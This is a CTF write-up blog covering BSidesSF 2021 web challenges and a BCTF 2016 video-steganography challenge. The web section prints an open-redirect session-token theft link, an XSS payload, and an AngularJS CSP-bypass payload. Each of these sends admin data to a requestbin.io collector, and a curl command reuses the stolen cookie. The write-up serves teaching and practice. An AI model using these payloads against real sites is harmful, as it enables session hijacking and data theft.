BSidesSF 2021 - Web Challenges

• CuteSRV (101)

• CSP 1 (101)

• CSP 2 (101)

CuteSRV (101)

Description:

Last year was pretty tough for all of us.
I built this service of cute photos to help cheer you up.
We do moderate for cuteness, so no inappropriate photos please!

https://cutesrv-0186d981.challenges.bsidessf.net

(author: matir)

This challenge was fun, cute and straight-forward once the bug is found.

First we're presented with a page of cute photos and the nav bar allows us to Login or Submit a new image for review.

Looking in the source, there's a /flag.txt route which must be the goal of the challenge, but when visiting it we get a message 'Not Authorized'.

If we visit Login we can click the only link available and it will automatically log us in and redirect us to the main page.

on /submit it gives us the ability to submit a URL which the admin will visit. This is typical in a lot of CSRF challenges, so we can start by checking the User-Agent and other features when it visits our link, pointing to a server we own or using something like https://requestbin.io/.

Even if we find XSS, the site is using HttpOnly cookies, so we probably need to find something else.

Checking out the Login route again while watching the requests, it does something interesting. When requesting /check from the login service it will include the session token in the URL, but does not restrict which URL it redirects to. Using this bug we can force the Admin user to send their own session token to our site instead.

We can use RequestBin again to steal the session token authtok, submitting this link to the admin:

https://loginsvc-0af88b56.challenges.bsidessf.net/check?continue=https%3A%2F%2Frequestbin.io%2F1oar7lu1

Now we can reach the /flag.txt route which is only available to the admin:

curl https://cutesrv-0186d981.challenges.bsidessf.net/flag.txt \
-b 'loginsid=eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJhdXRodG9rIiwiZXhwIjoxNjE4NDYyMjkyLCJpYXQiOjE2MTU3ODM4OTIsImlzcyI6ImxvZ2luc3ZjIiwibmJmIjoxNjE1NzgzODkyLCJzdWIiOiJhZG1pbiJ9.iA3lgwhmhOPNKh0_Wxmi923EOWdcUWcS-cIA_lxPhtExEGMeGkep3zweJ-MXtFyOwiDnMZ7Uuyuth9mFQ0lpMQ' 

And we get the Flag!

FLAG: CTF{i_hope_you_made_it_through_2020_okay}

CSP 1 (101)

Description:

CSP challenges are back! Can you bypass the CSP to steal the flag?

https://csp-1-581db2b1.challenges.bsidessf.net

(flag path: /csp-one-flag)

(author: itsc0rg1)

If we look at the Content Security Policy (CSP) for this page, we can see it's very open. To identify this, you can learn each rule or use a tool such as https://csp-evaluator.withgoogle.com/.

The CSP in this case was:

default-src 'self' 'unsafe-inline' 'unsafe-eval'; script-src-elem 'self'; connect-src *

The unsafe-inline keyword will allow execution of arbitrary inline scripts.

Let's start with a simple XSS payload:

<img src=x onerror=alert(1) />

This already works! So now we only need to get the flag from the /csp-one-flag route after the admin visits it. We can use fetch for this. We'll also use https://requestbin.io/ again.

Here's the final payload submitted to the admin:

<img src=x onerror='fetch("/csp-one-flag").then(x => x.text()).then(t => fetch("https://requestbin.io/yj1y96yj?x=" + t))' />

And we get a flag back on the RequestBin side:

CTF{Can_Send_Payloads}

CSP 2 (101)

Description:

CSP challenges are back! Can you bypass the CSP to steal the flag?

https://csp-2-f692634b.challenges.bsidessf.net

(flag path: /csp-two-flag)

(author: itsc0rg1)

This challenge was simmilar to the last one where we need to send an XSS payload to an admin to get the flag.

Checking the CSP this time we have:

script-src 'self' cdnjs.cloudflare.com 'unsafe-eval'; default-src 'self' 'unsafe-inline'; connect-src *; report-uri /csp_report

This one has the issue of using script-src from cdnjs.cloudflare.com. If we can use a script from CloudFlare to execute arbitrary JS, we win!

To do this we can use Angular to evaluate JS within an Angular context. Here's a simple example to test:

<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.7.0/angular.min.js></script>
<x ng-app>{{$new.constructor('alert(1)')()}}

This payload seems to work!

Now we just need to exfiltrate the flag like the last challenge using fetch.

<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.7.0/angular.min.js></script>
<x ng-app>{{$new.constructor('fetch("/csp-two-flag").then(x => x.text()).then(t => fetch("https://requestbin.io/1m40bkh1?x=" + t))')()}}

Then we get the Flag on RequestBin:

CTF{Can_Still_Pwn}

BCTF 2016 - catvideo (150)

This was one of the only challenges I attempted on BCTF, but the focus paid off.  It was an interesting challenge that taught me about the nuances of the ffmpeg tool.


At first we were given a video which had frames looking like this (two consecutive frames extracted from the video):

When watching the video you would see a sort of ghosting effect where your eye would pick up the diffing pixels providing a sense of motion.  Otherwise any individual frame does not explain much about the final image by itself.


Initially I started to look into different ways of blending video frames using ffmpeg.  I spent a lot of time on this page - https://ffmpeg.org/ffmpeg-filters.html

Specifically looking at the "tblend" filters (blends two consecutive frames using a specific filter-type) - https://ffmpeg.org/ffmpeg-filters.html#blend_002c-tblend
Playing around with different ones provided many results that didn't help, and a couple that did.

The primary solution to the "first half" of this challenge was to use an exclusion filter (At first I was thinking diff, but exclusion worked fine).

This showed a rough outline of the cat in the video, enough to be confident to find some other objects within.

After viewing an export of all frames as another mp4, I noticed exactly 1 minute in there was a small flash on the bottom of the screen.  This was rectangular in shape, and based on other Stego challenges in the past, this was probably where the flag was.  So after a bit of start & stop, with ffmpeg and exporting blended frames, I found what looked like the flag!

So far what I could make out in the exclusion-filtered image was:

BCTF{cute&fat_cats_does_not_like_   nking}

So close! But not there yet...  What were those 3 characters missing from the image?
I fired up Gimp and tried to blend the flag's frames with the surrounding ones to see if that would help fill in the gaps.

Going through Gimp's layer filters actually turned out to be a lot nicer than ffmpeg's tblend method.
Finally landed on using Hard Mix with an Overlay which gave this result:

This provided enough to make out the real flag:

BCTF{cute&fat_cats_does_not_like_drinking}